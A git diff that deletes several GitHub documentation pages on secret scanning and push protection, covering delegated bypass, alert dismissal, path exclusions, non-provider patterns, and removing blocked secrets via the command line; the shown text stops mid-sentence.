mode 100644 index 9fa5fe2d2289..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: About delegated bypass for push protection -intro: 'You can control which teams or roles have the ability to bypass push protection in your organization or repository.' -product: '{% data reusables.gated-features.delegated-bypass %}' -versions: - feature: push-protection-delegated-bypass -type: overview -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: About delegated bypass ---- - -## About delegated bypass for push protection - -{% data reusables.secret-scanning.push-protection-delegate-bypass-beta-note %} - -By default, when push protection is enabled for a repository, anyone with write access can still push a secret to the repository, provided that they specify a reason for bypassing push protection. - -With delegated bypass for push protection, you can: - -* **Choose** which individuals, roles, and teams can bypass push protection. -* Introduce a **review and approval** cycle for pushes containing secrets from all other contributors. - -{% ifversion push-protection-delegated-bypass-file-upload-support %}Delegated bypass applies to files created, edited, and uploaded on {% data variables.product.prodname_dotcom %}.{% endif %} - -To set up delegated bypass, organization owners or repository administrators create a list of users with bypass privileges. This designated list of users can then: -* Bypass push protection, by specifying a reason for bypassing the block. -* Manage (approve or deny) bypass requests coming from all other contributors. These requests are located in the "Push protection bypass" page in the **Security** tab of the repository. - -The following types of users can always bypass push protection without having to request bypass privileges: -* Organization owners -* Security managers -* Users in teams, default roles, or custom roles that have been added to the bypass list.{% ifversion push-protection-bypass-fine-grained-permissions %} -* Users who are assigned (either directly or via a team) a custom role with the "review and manage secret scanning bypass requests" fine-grained permission.{% endif %} - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection) -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/managing-requests-to-bypass-push-protection) diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection.md deleted file mode 100644 index 8a30cd4e423e..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Enabling delegated bypass for push protection -intro: 'You can use delegated bypass for your organization or repository to control who can push commits that contain secrets identified by {% data variables.product.prodname_secret_scanning %}.' -permissions: '{% data reusables.permissions.delegated-bypass %}' -versions: - feature: push-protection-delegated-bypass -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Enable delegated bypass ---- - -## About enabling delegated bypass for push protection - -{% data reusables.secret-scanning.push-protection-delegate-bypass-beta-note %} - -{% data reusables.secret-scanning.push-protection-delegated-bypass-intro %} - -For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection). - -When you enable this feature, you will create a bypass list of roles and teams who can manage requests to bypass push protection. If you don't already have appropriate teams or roles to use, you should create additional teams before you start. - -{% ifversion push-protection-bypass-fine-grained-permissions %}Alternatively, you can grant specific organization members the ability to review and manage bypass requests using fine-grained permissions, which give you more refined control over which individuals and teams can approve and deny bypass requests. For more information, see [Using fine-grained permissions to control who can review and manage bypass requests](#using-fine-grained-permissions-to-control-who-can-review-and-manage-bypass-requests).{% endif %} - -## Configuring delegated bypass for a repository - ->[!NOTE] If an organization owner configures delegated bypass at the organization-level, the repository-level settings are disabled. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -1. Under "Push protection", to the right of "Who can bypass push protection for {% data variables.product.prodname_secret_scanning %}", select the dropdown menu, then click **Specific roles or teams**. -1. Under "Bypass list", click **Add role or team**. - - > [!NOTE] - > When you add roles or teams to the "bypass list", these users will be granted the ability to bypass push protection, and they can also review and manage the requests from all other contributors to bypass push protection. - > - > You can't add secret teams to the bypass list. - -1. In the dialog box, select the roles and teams that you want to add to the bypass list, then click **Add selected**. - -## Configuring delegated bypass for an organization - -{% ifversion push-protection-delegated-bypass-configurations %} - -You must configure delegated bypass for your organization using a custom security configuration. You can then apply the security configuration to all (or selected) repositories in your organization. - -1. Create a new custom security configuration, or edit an existing one. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration#creating-a-custom-security-configuration). -1. When creating the custom security configuration, under "{% data variables.product.prodname_secret_scanning_caps %}", ensure that the dropdown menus for "Alerts" and "Push protection" are set to **Enabled**. -1. Under "Push protection", to the right of "Bypass privileges", select the dropdown menu, then click **Specific actors**. - - > [!NOTE] - > When you assign bypass privileges to selected actors, these organization members are granted the ability to bypass push protection, and they also review and manage the requests from all other contributors to bypass push protection. - > - > You can't add secret teams to the bypass list. - -1. Click the "Select actors" dropdown menu, then select the roles and teams you want to assign bypass privileges to. - - > [!TIP] - > In addition to assigning bypass privileges to roles and teams, you can also grant _individual_ organization members the ability to review and manage bypass requests using fine-grained permissions. See [Using fine-grained permissions to control who can review and manage bypass requests](#using-fine-grained-permissions-to-control-who-can-review-and-manage-bypass-requests). - -1. Click **Save configuration**. -1. Apply the security configuration to all (or selected) repositories in your organization. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -To learn more about security configurations, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale). - -{% else %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% ifversion security-configurations %} -1. In the "Security" section of the sidebar, select the **{% data variables.product.UI_advanced_security %}** dropdown menu, then click **{% data variables.product.prodname_global_settings_caps %}**. -{% else %} -{% data reusables.organizations.security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -{% endif %} -1. Under "Push protection", to the right of "Who can bypass push protection for {% data variables.product.prodname_secret_scanning %}", select the dropdown menu, then click **Specific roles or teams**. -1. Under "Bypass list", click **Add role or team**. -1. In the dialog box, select the roles and teams that you want to add to the bypass list, then click **Add selected**. - -{% endif %} - -{% ifversion push-protection-bypass-fine-grained-permissions %} - -## Using fine-grained permissions to control who can review and manage bypass requests - -You can grant specific individuals or teams in your organization the ability to review and manage bypass requests using fine-grained permissions. - -1. Ensure that delegated bypass is enabled for the organization. For more information, follow steps 1-3 in [Configuring delegated bypass for your organization](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection#configuring-delegated-bypass-for-an-organization) and ensure you have saved and applied the security configuration to your selected repositories. -1. Create (or edit) a custom organization role. For information on creating and editing custom roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles#creating-a-custom-role). -1. When choosing which permissions to add to the custom role, select the "Review and manage {% data variables.product.prodname_secret_scanning %} bypass requests" permission. -1. Assign the custom role to individual members or teams in your organization. For more information on assigning custom roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles#assigning-an-organization-role). - -{% endif %} diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/index.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/index.md deleted file mode 100644 index 2812f66d7470..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Delegated bypass for push protection -shortTitle: Delegated bypass -allowTitleToDifferFromFilename: true -intro: 'You can control the ability to bypass push protection by setting up a reviewers group to assess requests. When a contributor proposes bypassing protections, any member of the bypass list can approve or block the request.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - feature: push-protection-delegated-bypass -topics: - - Secret scanning - - Secret Protection - - Repositories -children: - - /about-delegated-bypass-for-push-protection - - /enabling-delegated-bypass-for-push-protection - - /managing-requests-to-bypass-push-protection ---- diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/managing-requests-to-bypass-push-protection.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/managing-requests-to-bypass-push-protection.md deleted file mode 100644 index f2cdfbdf56a7..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/managing-requests-to-bypass-push-protection.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Managing requests to bypass push protection -intro: 'As a member of the bypass list for an organization or repository, you can review bypass requests from other members of the organization or repository.' -permissions: '{% data reusables.permissions.delegated-bypass-list %}' -versions: - feature: push-protection-delegated-bypass -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Manage bypass requests ---- - -## Managing requests to bypass push protection - -{% data reusables.secret-scanning.push-protection-delegate-bypass-beta-note %} - -When enabling delegated bypass for push protection, organization owners or repository administrators decide which {% ifversion push-protection-bypass-fine-grained-permissions %}individuals, {% endif %}roles or teams can review (approve or deny) requests to bypass push protection. - -When a contributor requests bypass privileges to push a commit containing a secret, this designated group of reviewers: - -* Receives an email notification containing a link to the request. -* Reviews the request in the "Bypass requests" page of the repository{% ifversion security-overview-delegated-bypass-requests %}, or in the organization's security overview{% endif %}. -* Has 7 days to either approve or deny the request before the request expires. - -To help reviewers efficiently triage secrets for which there is a bypass request, {% data variables.product.prodname_dotcom %} displays the following information in the request: - -* Name of the user who attempted the push. -* Repository where the push was attempted. -* Commit hash of the push. -* Timestamp of the push.{% ifversion push-protection-delegated-bypass-enhancements %} -* File path and branch information. The branch information is only available for pushes to single branches.{% endif %} - -The contributor is notified of the decision by email and must take the required action: - -* If the request is approved, the contributor can push the commit containing the secret to the repository. -* If the request is denied, the contributor must remove the secret from the commit in order to successfully push the commit to the repository. - -### Managing requests for a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.bypass-requests-settings %} -1. Select the **All statuses** dropdown menu, then click **Open** to view requests that are awaiting review, and those that have been approved but for which the commits haven't been pushed to the repository yet. -1. Click the request that you want to review. -1. Review the details of the request. -{% ifversion push-protection-bypass-reviewer-comment -%} -{% data reusables.repositories.bypass-requests-reviewer-comment %} -{%- endif %} -1. To allow the contributor to push the commit containing the secret, click **Approve bypass request**. Or, to require the contributor to remove the secret from the commit, click **Deny bypass request**. - -{% ifversion security-overview-delegated-bypass-requests %} - -### Managing requests for an organization - -Organization owners, security managers and organization members with the relevant fine-grained permission (via a custom role) can review and manage bypass requests for all repositories in the organization using security overview. See [AUTOTITLE](/code-security/security-overview/reviewing-requests-to-bypass-push-protection). - -{% endif %} - -### Filtering requests - -You can filter requests by: - -* Approver (member of the bypass list) -* Requester (contributor making the request) -* Timeframe -* Status - -#### Filtering by status - -The following statuses are assigned to a request: - -|Status|Description| -|---------|-----------| -|`Cancelled`| The request has been canceled by the contributor.| -|`Completed`|The request has been approved and the commit(s) have been pushed to the repository.| -|`Denied`|The request has been reviewed and denied.| -|`Expired`| The request has expired. Requests are valid for 7 days. | -|`Open`| The request has either not yet been reviewed, or has been approved but the commit(s) have not been pushed to the repository. | - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection) -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection){% ifversion security-overview-delegated-bypass-requests %} -* [AUTOTITLE](/code-security/security-overview/reviewing-requests-to-bypass-push-protection){% endif %} diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/enabling-delegated-alert-dismissal-for-secret-scanning.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/enabling-delegated-alert-dismissal-for-secret-scanning.md deleted file mode 100644 index 5d226679d6fc..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/enabling-delegated-alert-dismissal-for-secret-scanning.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Enabling delegated alert dismissal for secret scanning -intro: 'You can use delegated alert dismissal to control who can dismiss an alert found by {% data variables.product.prodname_secret_scanning %}.' -permissions: '{% data reusables.permissions.delegated-alert-dismissal %}' -versions: - feature: security-delegated-alert-dismissal -type: how_to -topics: - - Secret scanning - - Advanced Security - - Alerts - - Repositories -shortTitle: Enable delegated alert dismissal ---- - -## About enabling delegated alert dismissal - -{% data reusables.advanced-security.delegated-alert-dismissal-beta %} - -{% data reusables.security.delegated-alert-dismissal-intro %} - -## Configuring delegated dismissal for a repository - ->[!NOTE] If an organization owner configures delegated alert dismissal via an enforced security configuration, the settings can't be changed at the repository level. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} - -1. Under "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable** for "Prevent direct alert dismissals". - -## Configuring delegated dismissal for an organization - -You must configure delegated dismissal for your organization using a custom security configuration. You can then apply the security configuration to all (or selected) repositories in your organization. - -1. Create a new custom security configuration, or edit an existing one. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration#creating-a-custom-security-configuration). -1. When creating the custom security configuration, under "{% data variables.product.prodname_secret_scanning_caps %}", ensure that the dropdown menus for "Alerts" and "Prevent direct alert dismissals" are set to **Enabled**. -1. Click **Save configuration**. -1. Apply the security configuration to all (or selected) repositories in your organization. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -To learn more about security configurations, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale). diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/excluding-folders-and-files-from-secret-scanning.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/excluding-folders-and-files-from-secret-scanning.md deleted file mode 100644 index 93bba13213fb..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/excluding-folders-and-files-from-secret-scanning.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Excluding folders and files from secret scanning -intro: 'You can customize {% data variables.product.prodname_secret_scanning %} to automatically close alerts for secrets found in specific directories or files by configuring a `secret_scanning.yml` file in your repository.' -permissions: '{% data reusables.permissions.secret-scanning-alerts %}' -shortTitle: Exclude folders and files -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Repositories ---- - -## About {% data variables.product.prodname_secret_scanning %} - -{% data variables.product.prodname_secret_scanning_caps %} automatically detects tokens or credentials that have been checked into a repository. You can view {% ifversion fpt or ghec %}{% data variables.secret-scanning.user_alerts %}{% else %}alerts{% endif %} for any secrets that {% data variables.product.company_short %} finds in your code, in the **Security** tab of the repository, so that you know which tokens or credentials to treat as compromised.{% data reusables.secret-scanning.alert-type-links %} - -## About excluding directories from {% data variables.secret-scanning.user_alerts %} - -You may have a reason to commit a secret to a repository, such as when you want to provide a fake secret in documentation, or in an example application. In these scenarios, you can quickly dismiss the alert and document the reasons. However, there may be cases where you want to ignore a directory entirely to avoid creating false positive alerts at scale. For example, you might have a monolithic application with several integrations containing a file of dummy keys that could set off numerous false alerts to triage. - -You can configure a `secret_scanning.yml` file to automatically close alerts found in specific directories from {% data variables.product.prodname_secret_scanning %}, and exclude these directories included in push protection. These alerts are closed as "ignored by configuration". - -## Excluding directories from {% data variables.secret-scanning.user_alerts %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, enter ".github/secret_scanning.yml". -1. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}. - - ``` yaml copy - paths-ignore: - - "docs/**" - ``` - - This tells {% data variables.product.prodname_secret_scanning %} to automatically close alerts for everything in the `docs` directory. You can use this example file as a template to add the files and folders you’d like to exclude from your own repositories. - - You can also use special characters, such as `*` to filter paths. For more information about filter patterns, see [Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet). - - ``` yaml copy - paths-ignore: - - "foo/bar/*.js" - ``` - - > [!NOTE] - > * If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans. - > * If `secret_scanning.yml` is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file. - -## Verifying that the folder is excluded from {% data variables.product.prodname_secret_scanning %} - -1. Open a file in a directory that you have excluded from secret scanning -1. Paste a pre-invalidated secret, or a test secret. -1. Commit the change. -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} There should be no new open alerts for the secret you just introduced into the file. - -## Best practices - -Best practices include: - -* Minimizing the number of directories excluded and being as precise as possible when defining exclusions. This ensures that the instructions are as clear as possible, and that exclusions work as intended. -* Explaining why a particular file or folder is excluded in a comment in the `secret_scanning.yml` file. As with regular code, using comments clarifies your intention, making it easier for others to understand the desired behavior. -* Reviewing the `secret_scanning.yml` file on a regular basis. Some exclusions may no longer apply with time, and it is good practice to keep the file clean and current. The use of comments, as advised above, can help with this. -* Informing the security team what files and folders you've excluded, and why. Good communication is vital in ensuring that everyone is on the same page, and understands why specific folders or files are excluded. diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/index.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/index.md deleted file mode 100644 index 16cda4669c97..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Using advanced secret scanning and push protection features -shortTitle: Advanced features -allowTitleToDifferFromFilename: true -intro: 'Learn how you can customize {% data variables.product.prodname_secret_scanning %} to meet the needs of your company.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Secret scanning - - Secret Protection - - Repositories -children: - - /excluding-folders-and-files-from-secret-scanning - - /non-provider-patterns - - /custom-patterns - - /delegated-bypass-for-push-protection - - /enabling-delegated-alert-dismissal-for-secret-scanning ---- diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/enabling-secret-scanning-for-non-provider-patterns.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/enabling-secret-scanning-for-non-provider-patterns.md deleted file mode 100644 index ef9dfa71b322..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/enabling-secret-scanning-for-non-provider-patterns.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Enabling secret scanning for non-provider patterns -allowTitleToDifferFromFilename: true -intro: 'You can enable {% data variables.product.prodname_secret_scanning %} to detect additional potential secrets at the {% ifversion security-configurations %}repository and organization levels{% else %}repository level{% endif %}.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -product: '{% data reusables.gated-features.secret-scanning-non-provider-patterns %}' -versions: - feature: secret-scanning-non-provider-patterns -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Enable for non-provider patterns ---- - -## Enabling scanning for non-provider patterns - -{% data reusables.secret-scanning.non-provider-patterns-beta %} - -You can enable scanning for non-provider patterns. Non-provider patterns correspond to secrets such as private keys. - -For more information about non-provider patterns, see "{% ifversion fpt or ghec %}[AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#about-user--alerts){% else %}[AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#about-secret-scanning-alerts){% endif %}." - -{% ifversion security-configurations %} - -### Enabling detection of non-provider patterns for a repository - -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under {% data variables.product.prodname_secret_scanning_caps %}, to the right of "Non-provider patterns", click **Enable**. - -{% ifversion security-configurations %} - -### Enabling detection of non-provider patterns for an organization - -You can enable scanning for non-provider patterns at the organization level {% ifversion security-configurations-cloud %}using the {% data variables.product.prodname_github_security_configuration %} or {% endif %}by applying a custom security configuration. For more information, see {% ifversion security-configurations-cloud %}[AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization) and {% endif %}[AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning) diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/index.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/index.md deleted file mode 100644 index f1ec83a2e10f..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Non-provider patterns -shortTitle: Non-provider patterns -allowTitleToDifferFromFilename: true -intro: '{% data variables.product.prodname_secret_scanning_caps %} can also alert you to the potential use of other types of secret in code, for example: HTTP authentication headers, connection strings, and private keys. These non-provider patterns are more difficult to detect reliably so this feature is not enabled by default.' -product: '{% data reusables.gated-features.secret-scanning-non-provider-patterns %}' -versions: - feature: secret-scanning-non-provider-patterns -topics: - - Secret scanning - - Secret Protection - - Repositories -children: - - /enabling-secret-scanning-for-non-provider-patterns ---- diff --git a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/index.md b/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/index.md deleted file mode 100644 index 279b31553cb8..000000000000 --- a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Working with secret scanning and push protection -shortTitle: Work with secret scanning -allowTitleToDifferFromFilename: true -intro: 'Avoid leaking sensitive data by blocking pushes containing tokens and other secrets.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Secret scanning - - Secret Protection - - Repositories -children: - - /push-protection-for-users - - /working-with-push-protection-from-the-command-line - - /working-with-push-protection-from-the-rest-api - - /working-with-push-protection-in-the-github-ui -redirect_from: - - /code-security/secret-scanning/working-with-push-protection - - /code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection ---- diff --git a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users.md b/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users.md deleted file mode 100644 index 33a7a7bbc652..000000000000 --- a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Push protection for users -intro: 'With push protection for users, you are automatically protected on all pushes to public repositories across {% data variables.product.github %}.' -versions: - feature: secret-scanning-push-protection-for-users -product: '{% data reusables.gated-features.push-protection-for-users %}' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - User account -redirect_from: - - /code-security/secret-scanning/push-protection-for-users ---- - -## About push protection for users - -Push protection for users automatically protects you from accidentally committing secrets to public repositories across {% data variables.product.github %}. - -When you try to push a secret to a public repository, {% data variables.product.github %} blocks the push. If you believe it's safe to allow the secret, you have the option to bypass the block. Otherwise, you must remove the secret from the commit before pushing again. For more information on how to resolve a blocked push, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui) or [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line), depending on whether you use the {% data variables.product.github %} UI or the command line. - -Push protection for users is always on by default. You can disable the feature at any time through your personal account settings. This may cause secrets to be accidentally leaked. For more information, see [Disabling push protection for users](#disabling-push-protection-for-users). - -Push protection for users is different from _push protection for repositories and organizations_, which is a {% data variables.product.prodname_secret_scanning %} feature that must be enabled by a repository administrator or organization owner. With push protection for repositories and organizations, {% data variables.product.prodname_secret_scanning %} blocks contributors from pushing secrets to a repository and generates an alert whenever a contributor bypasses the protection. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). - -With push protection for users, {% data variables.product.github %} won't create an alert when you bypass the protection and push a secret to a public repository, unless the repository itself has {% data variables.product.prodname_secret_scanning %} enabled. However, if the bypassed secret is a {% data variables.product.github %} token, the token will be revoked and you will be notified by email. - -For information on the secrets and service providers supported for push protection, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -## Disabling push protection for users - -You can disable push protection for users through your personal account settings. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security-analysis %} -1. Under "User", to the right of "Push protection for yourself", click **Disable**. - - ![Screenshot of the "User" section of the "Code security and analysis" settings page. A button labeled "Disable" is outlined in dark orange.](/assets/images/help/security/push-protection-for-yourself.png) diff --git a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line.md b/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line.md deleted file mode 100644 index 0400de528a88..000000000000 --- a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line.md +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Working with push protection from the command line -shortTitle: Push protection on the command line -intro: 'Learn your options for unblocking your push from the command line to {% data variables.product.prodname_dotcom %} if {% data variables.product.prodname_secret_scanning %} detects a secret in your changes.' -permissions: '{% data reusables.permissions.push-protection-resolve-block %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories ---- - -## About push protection from the command line - -Push protection prevents you from accidentally committing secrets to a repository by blocking pushes containing supported secrets. - -When you attempt to push a supported secret from the command line to a repository secured by push protection, {% data variables.product.prodname_dotcom %} will block the push. - -You should either: - -* **Remove** the secret from your branch. For more information, see [Resolving a blocked push](#resolving-a-blocked-push). -* **Follow a provided URL** {% ifversion push-protection-delegated-bypass %}to see what options are available to you{% endif %} to allow the push. For more information, see [Bypassing push protection](#bypassing-push-protection){% ifversion push-protection-delegated-bypass %} and [Requesting bypass privileges](#requesting-bypass-privileges){% endif %}. - -Up to five detected secrets will be displayed at a time on the command line. If a particular secret has already been detected in the repository and an alert already exists, {% data variables.product.prodname_dotcom %} will not block that secret. - -If you confirm a secret is real and that you intend to fix it later, you should aim to remediate the secret as soon as possible. For example, you might revoke the secret and remove the secret from the repository's commit history. Real secrets that have been exposed must be revoked to avoid unauthorized access. You might consider first rotating the secret before revoking it. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). - -{% data reusables.secret-scanning.push-protection-multiple-branch-note %} - -## Resolving a blocked push - -To resolve a blocked push, you must remove the secret from all of the commits it appears in. -* If the secret was introduced by your latest commit, see [Removing a secret introduced by the latest commit on your branch](#removing-a-secret-introduced-by-the-latest-commit-on-your-branch). -* If the secret appears in earlier commits, see [Removing a secret introduced by an earlier commit on your branch](#removing-a-secret-introduced-by-an-earlier-commit-on-your-branch). - ->[!NOTE] To learn how to resolved a blocked commit in the {% data variables.product.prodname_dotcom %} UI, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui#resolving-a-blocked-commit). - -### Removing a secret introduced by the latest commit on your branch - -If the blocked secret was introduced by the latest commit on your branch, you can follow the guidance below. - -1. Remove the secret from your code. -1. To commit the changes, run `git commit --amend --all`. This updates the original commit that introduced the secret instead of creating a new commit. -1. Push your changes with `git push`. - -### Removing a secret introduced by an earlier commit on your branch - -You can also remove the secret if the secret appears in an earlier commit in the Git history. To do so, you will need to identify which commit first introduced the secret and modify the commit history with an interactive rebase. - -1. Examine the error message that displayed when you tried to push your branch, which lists all of the commits that contain the secret. - - ```text - remote: —— {% data variables.product.prodname_dotcom %} {% data variables.product.pat_generic_title_case %} —————————————————————— - remote: locations: - remote: - commit: 8728dbe67 - remote: path: README.md:4 - remote: - commit: 03d69e5d3 - remote: path: README.md:4 - remote: - commit: 8053f7b27 - remote: path: README.md:4 - ``` - -1. Next, run `git log` to see a full history of all the commits on your branch, along with their corresponding timestamps. - - ```text - test-repo (test-branch)]$ git log - commit 8053f7b27 (HEAD -> main) - Author: Octocat <1000+octocat@users.noreply.github.com - Date: Tue Jan 30 13:03:37 2024 +0100 - - my fourth commit message - - commit 03d69e5d3 - Author: Octocat <1000+octocat@users.noreply.github.com> - Date: Tue Jan 30 13:02:59 2024 +0100 - - my third commit message - - commit 8728dbe67 - Author: Octocat <1000+octocat@users.noreply.github.com - Date: Tue Jan 30 13:01:36 2024 +0100 - - my second commit message - - commit 6057cbe51 - Author: Octocat <1000+octocat@users.noreply.github.com - Date: Tue Jan 30 12:58:24 2024 +0100 - - my first commit message - -1. Focusing only on the commits that contain the secret, use the output of `git log` to identify which commit comes 